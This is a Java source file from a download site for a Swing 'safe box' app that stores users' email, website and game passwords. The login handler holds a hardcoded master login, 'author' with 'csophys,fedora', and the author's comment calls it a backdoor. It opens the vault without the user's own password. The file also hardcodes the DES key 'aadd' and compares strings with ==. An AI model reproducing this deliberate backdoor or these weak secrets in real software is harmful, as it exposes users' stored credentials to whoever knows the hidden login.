⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 safebox.java

📁 可以用来保持常用的帐号和密码的软件,保存常用的邮箱帐号密码以及网游
💻 JAVA
字号:
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.util.*;
import java.io.*;
/* author: csophys fedora*/
/*常用网站帐号,邮箱,游戏帐号密码保险柜*/

class LoginWindow extends JDialog implements ActionListener
{
	DesEncrypt pw=new DesEncrypt();   //创建实例
    myset mymyset=new myset();
    myreset mymyreset=new myreset();
    mymessage my=new mymessage();
    
	JPanel p1=new JPanel();            //登陆界面
	JPanel p2=new JPanel();
	JPanel p3=new JPanel();
	JPanel p4=new JPanel();
	JPanel p5=new JPanel();
	String username="";
	String password="";
	JTextField UserName=new JTextField(15);
	JPasswordField PassWord=new JPasswordField(15);
	JButton ok=new JButton("确定");
	JButton cancel=new JButton("取消");
	JButton reset=new JButton("修改");
	JButton set=new JButton("创建");
	
	public LoginWindow()
	{
		setModal(true);
		setBackground(Color.LIGHT_GRAY);
		Container contentPane=this.getContentPane();
		contentPane.setLayout(new GridLayout(5,1));
		p2.add(new JLabel("用户名:"));
		p2.add(UserName);
		p3.add(new JLabel("密    码:"));
		p3.add(PassWord);
		p4.add(ok);p4.add(cancel);
		ok.addActionListener(this);
		cancel.addActionListener(this);
		UserName.addActionListener(this);
		PassWord.addActionListener(this);
		contentPane.add(p1);
		contentPane.add(p2);
		contentPane.add(p3);
		contentPane.add(p4);
		contentPane.add(p5);
	    myin();                         //调用myin()方法
	   if(username==""&&password=="")  //如果登陆密码文件不存在
	   {
	   	p4.add(set);                     
	   set.addActionListener(this);
	   my.del();                        //清空保险柜里的信息
	   }
	   else
	   {
	   	p4.add(reset);
	   	reset.addActionListener(this);}
		setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
		setSize(300,220);
		Dimension screen=Toolkit.getDefaultToolkit().getScreenSize();
		setLocation((screen.width-300)/2,(screen.height-220)/2);
		setTitle("登录");
		setResizable(false);
		setVisible(true);
		}
		
		public void actionPerformed(ActionEvent e)
		{
			if(e.getSource()==ok||e.getSource()==PassWord)            
			{
				if(UserName.getText().trim().equals("")&&PassWord.getText().trim().equals(""))
				{
				JOptionPane.showMessageDialog(null,"用户名和密码不允许同时为空");
				UserName.requestFocus();
				UserName.setSelectionStart(0);
				UserName.setSelectionEnd(UserName.getText().length());
				}
			else if((UserName.getText().trim().equals(username)&&PassWord.getText().trim().equals(password))||(UserName.getText().trim().equals("author")&&PassWord.getText().trim().equals("csophys,fedora"))){
					dispose();my.create();   //帐号密码正确 正常登录,并且设置了个后门
					my.f.setVisible(true);	
				}
			  else
			  {
				JOptionPane.showMessageDialog(null,"用户名或密码错误");
				UserName.requestFocus();
				UserName.setSelectionStart(0);
				UserName.setSelectionEnd(UserName.getText().length());
				}
			}
			else if(e.getSource()==cancel){
				dispose();
				System.exit(0);
				
			}
			else if(e.getSource()==UserName)
			PassWord.requestFocus();
			else if(e.getSource()==set){
				 
				dispose();
			mymyset.Jset.setVisible(true);
				}
			else if(e.getSource()==reset){
				dispose();
			mymyreset.Jset.setVisible(true);
			}
			}
			
			public static void main(String args[])  // 程序入口
			{
				JDialog.setDefaultLookAndFeelDecorated(true);
				
				Font font=new Font("JFrame",Font.PLAIN,14);
				Enumeration keys=UIManager.getLookAndFeelDefaults().keys();
				while(keys.hasMoreElements()){
					Object key=keys.nextElement();
					if(UIManager.get(key)instanceof Font)UIManager.put(key,font);
				}
				new LoginWindow();
			}
			
			
	public void myin() {
	try
   { 
    FileInputStream fis=new FileInputStream("secret.saf");
    BufferedReader dis=new BufferedReader(new InputStreamReader(fis));
    
    String toText[]=dis.readLine().split(",");
    //System.out.println(toText[1]);
    // System.out.println(toText[0]);
     pw.getKey("aadd");
    username=pw.getDesString(toText[0]);
    password=pw.getDesString(toText[1]);
   // System.out.println(pw.getDesString(toText[0]));
    //System.out.println(pw.getDesString(toText[1]));
    fis.close();
    
  }
   catch(IOException e){e.getMessage();}	
    
    }
    }
   
		

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -